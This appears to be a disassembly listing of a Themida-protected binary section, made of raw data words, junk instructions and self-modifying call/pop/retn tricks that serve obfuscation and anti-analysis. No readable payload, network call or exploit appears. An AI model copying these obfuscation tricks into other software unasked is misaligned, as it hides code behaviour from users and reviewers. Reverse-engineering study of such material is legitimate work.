		dd 13h,	0AB398DB3h, 519526A3h, 875A8874h, 0EF22B68h, 8DA596BFh
		dd 0E6E8B385h, 0B886890Ah, 6A000000h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0F783C357h
		dd 0D50A814Eh, 0F88B006Ah, 0D62AB5FFh, 6A0AE6h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0E63A62C3h, 0CE747FEBh, 0FFFE8B66h, 0E31E7195h, 57006A0Ah
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 99CAEF14h, 0F8D660D7h, 5004B768h, 52505250h,	310F6160h
		dd 310F585Ah, 0E9F08B60h, 0Eh, 0F132DA3Ch, 0DA8485D9h
		dd 3A784AEAh, 5A614E44h, 24348958h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 47C35646h, 0D62AB5FFh, 0D98B0AE6h
		dd 236995FFh, 6A0AE3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 8558C7C3h, 519C601Dh, 0ADBD835Fh
		dd 0AE317h, 15840Fh, 0BD8B0000h, 0AE3070Dh, 0A41CBF50h
		dd 34895B70h, 119D8B24h, 0FF0AE31Fh, 0E6D62AB5h, 9E90Ah
		dd 939A0000h, 0D35AECBDh, 0FF8BCB15h, 0E3029595h, 0A5BF660Ah
		dd 2AB5FF41h, 500AE6D6h, 0FF5FDA8Bh, 0E311DD95h, 53006A0Ah
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 49D822D5h, 75BD8B56h, 830AE31Ah, 0E3197DBDh,	840F020Ah
		dd 3Dh,	9BDB529h, 858B0AE3h, 0AE31A65h,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 15h, 23C35545h, 12C780F6h
		dd 2BFD9D8Bh, 2FB30AE3h, 8B0000C6h, 0E31579BDh,	1D85C70Ah
		dd 0AE321h, 66000000h, 8B66DF8Bh
		db 0FEh
; ---------------------------------------------------------------------------


loc_5D07A1:				; CODE XREF: Themida_:005D0419j
					; Themida_:005D043Cj
		jmp	near ptr dword_5CF4D4+6D2h
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5D07B1
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D07B1	proc near		; CODE XREF: Themida_:005D07A9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5D07B1	endp

; ---------------------------------------------------------------------------
		db 25h,	8Bh, 0C1h
; ---------------------------------------------------------------------------
		jmp	loc_5D07D6
; ---------------------------------------------------------------------------
		db 6Eh,	0C8h, 3Fh
		dd 24F852h, 0BA3BF746h
		db 13h,	8Fh
; ---------------------------------------------------------------------------


loc_5D07D6:				; CODE XREF: Themida_:005D07C4j
		lea	eax, [ebp+0AE32FFDh]
		push	0
		push	edi
		call	sub_5D07E7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D07E7	proc near		; CODE XREF: Themida_:005D07DFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5D07E7	endp

; ---------------------------------------------------------------------------
		db 76h
; ---------------------------------------------------------------------------
		xlat
		idiv	ecx
		nop
		jge	loc_5D0811
		jmp	loc_5D0811
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 0E5F04414h, 0EF71325Ah
		db 21h
; ---------------------------------------------------------------------------


loc_5D0811:				; CODE XREF: Themida_:005D07FCj
					; Themida_:005D0802j
		push	eax
		jmp	loc_5D082A
; ---------------------------------------------------------------------------
		db 8Dh
		dd 0AD062F26h, 7B6CF6FBh, 3E72B861h, 7085CDECh
		db 8Ah,	0Dh
; ---------------------------------------------------------------------------


loc_5D082A:				; CODE XREF: Themida_:005D0812j
		nop
		push	0
		push	ebp
		call	sub_5D0836
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0836	proc near		; CODE XREF: Themida_:005D082Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5D0836	endp

; ---------------------------------------------------------------------------
		sbb	eax, 0B9BD8B7Eh
		sub	al, 0E3h
		or	ch, [edx+0]
		jo	loc_5D0859
		movzx	ebx, dx


loc_5D0859:				; CODE XREF: Themida_:005D0850j
		push	0
		xor	edi, [ebp+0AE31BE1h]
		lea	eax, [ebp+0AE7E519h]
		jle	loc_5D087B
		pusha
		mov	[ebp+0AE31BD5h], ecx
		mov	[ebp+0AE30219h], edx
		popa


loc_5D087B:				; CODE XREF: Themida_:005D0867j
		add	eax, 5
		pusha
		sub	cl, 4Dh
		add	[ebp+0AE330D5h], edx
		popa
		nop


loc_5D088A:				; CODE XREF: Themida_:005D08D8j
		push	eax
		push	edx
		jo	near ptr loc_5D08A1+3
		call	near ptr loc_5D08A1+2
		pop	eax
		and	eax, 43ED76B8h
		lahf
		inc	eax
		adc	ebp, ebp


loc_5D08A1:				; CODE XREF: Themida_:005D0892p
					; Themida_:005D088Cj
		db	3Eh
		xor	eax, 56310F5Fh
		mov	bx, ax
		pop	edi
		pop	edx
		pop	eax
		push	eax
		mov	ebx, 6DFCC5E9h
		nop
		mov	[ebp+0AE318C5h], ebx
		push	0
		push	0
		push	edi
		call	sub_5D08C7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D08C7	proc near		; CODE XREF: Themida_:005D08BFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5D08C7	endp

; ---------------------------------------------------------------------------
		pop	esp
		ja	short loc_5D088A
		mov	bh, 8Ch
		jns	short loc_5D090B
		mov	[ebp+0AE31145h], eax
		push	0
		push	0
		push	ebx
		call	sub_5D08F1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D08F1	proc near		; CODE XREF: Themida_:005D08E9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5D08F1	endp

; ---------------------------------------------------------------------------
		db 0Bh,	0Ah, 87h
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+0AE314E9h]
		pusha


loc_5D090B:				; CODE XREF: Themida_:005D08DCj
		mov	edi, [ebp+0AE3002Dh]
		pusha
		mov	dh, 0E9h
		adc	cx, 76F9h
		popa
		popa
		or	[ebp+0AE32CF5h], ebx
		lea	ecx, [ebp+0AE6D5CAh]
		call	near ptr loc_5D093B+1
		aas
		dec	edi
		lea	ebx, [ebp+779E32C9h]
		mov	dl, 0DAh
		enter	3B6Bh, 8Eh
		xchg	eax, esp


loc_5D093B:				; CODE XREF: Themida_:005D0927p
		xor	esp, [esi-7Fh]
		xlat
		scasd
		xchg	eax, ebp
		pop	edi
		call	ecx
		jb	loc_5D0950
		mov	ebx, [ebp+0AE313FDh]


loc_5D0950:				; CODE XREF: Themida_:005D0944j
		cmp	dword ptr [ebp+0AE32269h], 1
		jnz	loc_5D0A0B
		xor	di, 367Ch
		push	2
		push	0
		push	ebx
		call	sub_5D096F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D096F	proc near		; CODE XREF: Themida_:005D0967p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5D096F	endp

; ---------------------------------------------------------------------------
		db 7
		dd 0F1BD8B6Fh, 0F0AE303h, 68Ch,	31958900h, 900AE320h, 19EDBA60h
		dd 12E8772Ah, 0DD000000h, 60677612h, 5107D746h,	860BA856h
		dd 5CCA18A7h, 0CA8B6651h, 0BF506159h, 546CC07Ch, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0AE98DF9h, 0D3000000h, 6BFF516Eh, 5DEBCC90h,	7195FF2Fh
		dd 0F0AE31Eh, 168Dh, 9E96000h, 27000000h, 4585D0A9h, 8759051Fh
		dd 0E2CD081h
; ---------------------------------------------------------------------------
		push	ss
		das
		popa


loc_5D0A0B:				; CODE XREF: Themida_:005D0957j
		jmp	loc_5D18B3
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 0AE7E523h
		push	0
		push	edi
		call	sub_5D0A27
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0A27	proc near		; CODE XREF: Themida_:005D0A1Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5D0A27	endp

; ---------------------------------------------------------------------------
		db 41h
		dd 0D366D0B4h, 0E53CF2E1h, 0D19D8B2Eh, 0F0AE31Bh, 685h
		dd 0B98D8900h, 8D0AE30Fh, 0E6C13E85h, 89BD890Ah, 900AE31Fh
		dd 8E9h, 520F8600h, 978CD528h, 0DE95014h, 0EB000000h, 3050D749h
		dd 720A0C44h, 0F9856C68h, 53006A90h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 79CB1376h
		dd 0DA8B66A2h, 35FF64h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 3FFFC352h
		dd 8166D803h, 64203BEBh, 2589h,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 85FF27C3h
		dd 0AE31C15h, 2880Fh, 0B3B70000h, 6AFF6Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0D0CD99C3h
		dd 9842A979h, 5959D8Bh,	0B5FF0AE3h, 0AE31A09h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 42C35343h, 0E92A78DAh
		dd 14h,	10CA744Bh, 41D4BBE2h, 9FDD58AFh, 1110EFBAh, 0A8132D00h
		dd 1A8DBD8Bh, 95FF0AE3h, 0AE3007Dh, 155E9h, 0C7816000h
		dd 7DFA376Dh, 0B7C18166h, 0B06197h, 11E9h, 95B8CA00h, 0DFE30BF3h
		dd 0D7A1299h, 7289E569h, 70E61365h, 33858D01h, 95890AE3h
		dd 0AE334CDh, 8B0F71E4h, 6, 16C18529h, 613C0AE3h, 10C830Fh
		dd 0BE90000h, 0B0000000h, 0ACB9852Ch, 0D3CB5DAFh, 0B60F6AB4h
		dd 759D8BC8h, 0BA0AE31Ah, 6, 33BBC18Bh,	605931DDh, 2960CF8Bh
		dd 0E331C185h, 0E781660Ah, 6161E2D3h, 0BF04E8C1h, 77A2FEC0h
		dd 1B4D9D8Bh, 0F7660AE3h, 0D3BB66E2h, 0FC82B15h, 0D18BFEB7h
		dd 20A99D89h, 0AFE90AE3h, 0F000000h, 687h, 29958900h, 8B0AE325h
		dd 885h, 11E800h, 9D790000h, 1FC0999Dh,	0C48BF716h, 0B091FE2Bh
		dd 66423CC1h, 5F9036BBh, 0F07C083h, 384h, 0D98B6600h, 8B00C083h
		dd 0E32E91BDh, 0F98B660Ah, 830FD03Bh, 22h, 2F29BD89h, 9D2B0AE3h
		dd 0AE3043Dh, 51E9h, 8B606000h,	0E31621BDh, 0D58D290Ah
		dd 610AE320h, 8D8B61F5h, 0FFFFFFFFh, 5358D01h, 0E1830AE3h
		dd 2B840F01h, 0E9000000h, 9, 830E42Eh, 0A2335317h, 0FFA58365h
		dd 0FEFFFFFFh, 33519D8Bh, 95890AE3h, 8,	18F38166h, 0E915h
		dd 0B58D0000h, 0AE76680h, 6AF98Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0CC35141h, 0FD8D89CBh, 0FF0AE331h
		dd 0E31CD195h, 52006A0Ah, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 3089037Eh, 0DFE812A7h
		dd 0D88AF734h, 14DD8D89h, 50B90AE3h, 6A000010h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 4051C351h, 0DC28A355h, 0CFAA8EF9h, 0E9FCE183h, 14h
		dd 31629F15h, 0D9AF48D7h, 4ACE31DBh, 6755DCE4h,	43A5E3D9h
		dd 51006AFCh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 75F39FECh, 0AD858900h, 0B80AE330h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5D0DAB
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0DAB	proc near		; CODE XREF: Themida_:005D0DA3p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_5D0DAB	endp

; ---------------------------------------------------------------------------
		push	es
		xor	eax, 70DA4A5Ch
		mov	[edi], edx
		fidivr	dword ptr [ebx]
		jmp	loc_5D0DDE
; ---------------------------------------------------------------------------
		dw 470h
		dd 57138235h, 0AEAB1EDCh, 4B076150h, 0FCE0D4CCh
		db 5, 98h
; ---------------------------------------------------------------------------


loc_5D0DDE:				; CODE XREF: Themida_:005D0DC5j
		sub	edx, edx
		push	0
		push	edx
		call	sub_5D0DEB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0DEB	proc near		; CODE XREF: Themida_:005D0DE3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5D0DEB	endp

; ---------------------------------------------------------------------------
		db 0FCh
		dd 0A92AB12Ch, 995E555Dh, 9903BF83h, 33AD0093h,	3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 288535C3h, 81C9F65Eh, 5D628BEFh
		dd 53006A1Ah, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0CE838EB0h, 0DBC780A4h, 880Dh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0E9600397h, 0Bh, 0F5A63570h,	3E338FB6h, 89D5D523h, 0E32D5DBDh
		dd 958B610Ah, 0AE31479h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 14h, 1CC35747h, 9537BB53h,	895F5DC3h, 0E300618Dh
		dd 0C98D8B0Ah, 6A0AE306h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 81ADC351h, 9F5EFCD7h
		dd 0B5015068h, 0AE3092Dh, 0C28B505Fh, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 2958188Bh, 0E31BB9BDh, 0CF81660Ah, 0BD832766h
		dd 0AE31F61h, 87840F00h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0A046C352h
		dd 0B8FBBF0Fh, 0
; ---------------------------------------------------------------------------
		mov	[ebp+0AE31DD5h], ebx
		lea	ecx, [ebp+0AE34E6Eh]
		push	0
		push	esi
		call	sub_5D0F5F
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D0F5F	proc near		; CODE XREF: Themida_:005D0F57p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5D0F5F	endp

; ---------------------------------------------------------------------------
		db 40h
		dd 33753C62h, 6E8h, 6AF1E500h, 66A806C0h, 0E422E781h, 6AE1FF5Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0C23DC356h, 0D0D137B2h, 0BD83365Dh, 0AE30069h
		dd 0D3840F00h, 6A000003h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 569FC351h, 17BBD45Eh
		dd 837592FDh, 0E30069BDh, 840F010Ah, 3BDh, 69BD83h, 0F030AE3h
		dd 37A86h, 0B5BD8B00h, 890AE31Fh, 0E31EB195h, 6A600Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 460FBAC3h, 1DBD8914h, 660AE314h, 8160D98Ch, 9D648DE8h
		dd 0F98B6625h, 4E18061h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 9DC35545h, 81DE8B0Fh,	2DFC16E3h, 0FC90A2Ch
		dd 11584h, 0EEDB8100h, 8B07BE69h, 0E31FD185h, 8DBD8B0Ah
		dd 330AE301h, 0E31E4585h, 51006A0Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 90FD8A08h
		dd 9755BB66h, 1C820F50h, 0F000000h, 168Ch, 11E900h, 217B0000h
		dd 0AE73F8D7h, 0B218FFC8h, 15595365h, 90596949h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E2C35747h, 8DC0B794h
		dd 0EE878h, 67D60000h, 2BE5A300h, 0F55973F9h, 20E41E7Fh
		dd 5BFE8B66h, 0EDBF006Ah, 6829823Dh, 0C8EA51B3h, 38AD85BBh
		dd 24048171h, 3734B24Ch, 2565BD29h, 95FF0AE3h, 0AE31A45h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A0C35646h
		dd 2A85893Dh, 8B0AE6D6h, 0EE9DAh, 4DC60000h, 337E1B96h
		dd 9AB39DFFh, 0C5A0ABC8h, 194E9h, 39BD8B00h, 0E80AE32Ch
		dd 0Bh,	0C98D437Bh, 0B42146C2h,	8950F5F0h, 0E30ACDBDh
		dd 858B5F0Ah, 0AE6D622h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 6AC35646h, 0D8EF32E0h, 0C73BB3CCh, 1800h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 0E78166C0h, 0B58BC9F5h, 0AE6D626h, 46D131BFh
		dd 0D1858B52h, 8B0AE325h, 0E301D1BDh, 0BF06890Ah, 114A97Dh
		dd 1FD1858Bh, 6A0AE3h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 9D8BC3C3h, 0AE32D8Dh, 50044689h
		dd 6A243489h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 9E39C356h, 5756168Ch, 0CFD38009h
		dd 1FF1B501h, 0B5FF0AE3h, 0AE6D622h, 67CF8166h,	0A72668B9h
		dd 348104DBh, 0C4A4D924h, 52006A04h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0E21451B5h
		dd 4F2183D7h, 9E8F8h, 16000000h, 498BAAA2h, 0E97F5FB7h
		dd 6, 2E02948Fh, 8D5B961Ah, 0E6D62A85h,	51006A0Ah, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 8D741473h, 850F50E4h, 19h, 14E9h, 32932100h,	8AAEC550h
		dd 7962D77Bh, 60963ABh,	0ABD3957h, 24048919h, 0B9A4A0BFh
		dd 4595FF67h, 290AE31Ah, 0E32331BDh, 8589610Ah,	0AE3043Dh
		dd 6985C7h, 30AE3h, 0BD830000h,	0AE6D62Ah, 60840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 72D3C353h, 399DEB7h, 8E91B92h, 0E000000h
		dd 0D39B7B9Eh, 0E913B3C4h, 46h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 2DC35646h, 0B7D79BCh, 0E303459Dh
		dd 0FDBD8B0Ah, 500AE317h, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0FE015CC3h, 95F33FAFh
		dd 7E9h, 58B9C900h, 7F3ED737h, 1D18589h, 0F600AE3h, 285h
		dd 89F88B00h, 0E3118185h, 0BD83610Ah, 0AE30069h, 64850F03h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 8505C353h, 253DB589h, 0BD830AE3h
		dd 0AE6D62Ah, 34840F00h, 6A000004h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B25CC357h
		dd 34BB2EC1h, 0FF749300h, 0E6D62AB5h, 57006A0Ah, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 2F2E9134h, 0EDEFCDFEh, 0F860C022h, 21A5BD8Bh, 0E8610AE3h
		dd 11h,	29BDBEE4h, 0DD0CCD9Dh, 0EAB3E6Bh, 68503F56h, 5D85895Ah
		dd 5F0AE31Fh, 331595FFh, 6A0AE3h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0B3551AC3h, 1EB58BE9h
		dd 0C70AE6D6h, 1000106h, 0BD8BF800h, 0AE31255h,	0EDBB6696h
		dd 8FBF501Fh, 9649C69Fh, 0FFDF8B66h, 0E6D62AB5h, 55006A0Ah
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0D53648C8h, 0FF8BF08Ah, 0EEB3CFE5h, 20BD95FFh, 0EE90AE3h
		dd 3A000000h, 343C93EBh, 6D01DDD2h, 2039C0A3h, 1EB58B31h
		dd 660AE6D6h, 3858D381h, 0A5BD2B56h, 5F0AE321h,	1059858Bh
		dd 6A0AE3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 66772AC3h, 8689FA8Bh, 0C4h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Bh, 3EC35747h, 8948616Bh
		dd 8B992FDFh, 0E3147995h, 51006A0Ah, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 4C283B1h, 897DF780h
		dd 0DC8A2050h, 0E8B3858Dh, 6A0AE6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 24EF4EC3h
		dd 0DCDFC059h, 0BF0F6006h, 0AE9FEh, 2ADD0000h, 0D6B4AFEDh
		dd 8B855624h, 0B8868961h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1FBAC352h
		dd 3AF38E60h, 228D9D31h, 6A0AE3h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 0EFC35343h,	33A81DEh, 0B5FF4BE5h
		dd 0AE6D62Ah, 8CD9D89h,	9D8B0AE3h, 0AE33319h, 1E7195FFh
		dd 6A0AE3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 94729C3h,	0E306C1BDh, 6060960Ah, 76CABA66h
		dd 61615F51h, 0C8F0F50h, 0F000000h, 689h, 0F525000h, 96585A31h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 7AC35646h
		dd 0A19D8B3Ch, 660AE32Bh, 0FF68EABFh, 0E6D62AB5h, 51006A0Ah
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0CD76D8A9h, 1ABB68F7h, 0AADB8166h, 6995FFFAh, 8B0AE323h
		dd 0E31AD99Dh, 0EF81660Ah, 0BD83E2BAh, 0AE317ADh, 41840F00h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8088C355h, 10E9BCF7h, 98000000h
		dd 2DD2E4C0h, 0C2B82DDh, 9560EC43h, 9675B66Bh, 8A50DF8Bh
		dd 8D0996DEh, 0AE3310Dh
		dd 0D62AB5FFh, 6A0AE6h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0D0EDC5C3h, 89B7D6D9h, 0E30681BDh
		dd 0DDBD8B0Ah, 0FF0AE304h, 0E3029595h, 56006A0Ah, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 7592CD73h, 0E1C38166h, 2AB5FFE8h, 0FC0AE6D6h, 2BB6653h
		dd 95FF5F80h, 0AE311DDh, 0BD83EAB3h, 0AE3197Dh,	68840F02h
		dd 66000000h, 858BDE8Bh, 0AE31A65h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 0CDC35747h,	0BF63E172h, 0DE95155h
		dd 99000000h, 7F51EE75h, 0E1F2645Ah, 0EECEEDE3h, 13E85Bh
		dd 0BB1D0000h, 0D0EE3279h, 0A621C810h, 0B095CFB9h, 8EA53405h
		dd 0C65F5Eh, 5E800h, 4B950000h,	66D5553Ah, 0C75FDF8Bh
		dd 0E3211D85h, 0Ah, 11E900h, 61800000h,	2C2638D7h, 0E76E71A3h
		dd 64FC3159h, 0E9A0C16Ch, 0FFFFF284h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0E6C35747h,	17BCA309h, 852952F7h
		dd 0AE31EF5h, 0FF5C18Bh, 689h, 299D8B00h
		db 7, 0E3h, 0Ah
; ---------------------------------------------------------------------------


loc_5D18B3:				; CODE XREF: Themida_:loc_5D0A0Bj
		lea	eax, [ebp+0AE32FFDh]
		push	0
		push	ebx
		call	sub_5D18C4
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D18C4	proc near		; CODE XREF: Themida_:005D18BCp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5D18C4	endp

; ---------------------------------------------------------------------------
		dd 5390F8AEh, 20660FDAh, 1B58529h, 50500AE3h, 822EBF52h
		dd 310F1290h, 5AF88B66h, 24048958h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 47C35242h, 82511B3Fh, 2971BD8Bh
		dd 6A0AE3h, 2FEDBD89h, 95890AE3h, 0AE33319h, 6A006Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0BDA0F3C3h, 113E312Bh, 9D8BB646h, 0AE312C5h,	0F647858Dh
		dd 6A0AE7h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 4462B8C3h, 0C083F8B6h, 50006A05h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0C07D0E20h
		dd 85896093h, 0AE332CDh, 7298D29h, 66610AE3h, 9C28D781h
		dd 13E9h, 36A99500h, 64683A44h,	1CB81B08h, 0E3D05717h
		dd 18DED452h, 0DE990h, 0B8430000h, 698C174h, 8C92FA30h
		dd 50A338CAh, 0C68A6060h, 61CE8B66h, 9061CB8Ah,	8E9h, 0E664CE00h
		dd 0DA6AB3EDh, 7ABF5710h, 5F3D9C70h, 6A006Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 8BCEA0C3h
		dd 0B1B4F00Dh, 6A006Ah,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 8A6B29C3h, 99858936h, 0FF0AE317h
		dd 0E314E995h, 51006A0Ah, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 8DD9BBBDh, 0E6D5CA8Dh
		dd 3ACF810Ah, 0FF314F6Ch, 55006AD1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 8E266AA7h
		dd 69BD8399h, 10AE322h,	93850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 311246C3h
		dd 0FDB8E2E7h, 8B6B9AECh, 0E3236D9Dh, 6A026A0Ah, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 5A13C352h, 0FB9BD8Bh, 66900AE3h, 0B750D88Bh,	0DE990CCh
		dd 0FC000000h, 184D88FDh, 0DB88AB50h, 0F35C0CF6h, 14058D89h
		dd 95FF0AE3h, 0AE31E71h, 0EE860h, 0DFF30000h, 14F18769h
		dd 0F7D59542h, 0E7E39300h, 781B589h, 0F95F0AE3h, 0C04E961h
		dd 0E80000h, 5D000000h,	0F651ED81h, 0BD8B0AE7h,	0AE301C1h
		dd 880Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8B03DAC3h, 46F380FBh, 0C13E858Dh
		dd 81500AE6h, 0FE8094C3h, 0E8505F7Bh, 11h, 23891496h, 6B9EFE0Eh
		dd 59B7F301h, 2D8217A1h, 0DABEBB0Dh, 895F265Bh,	6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
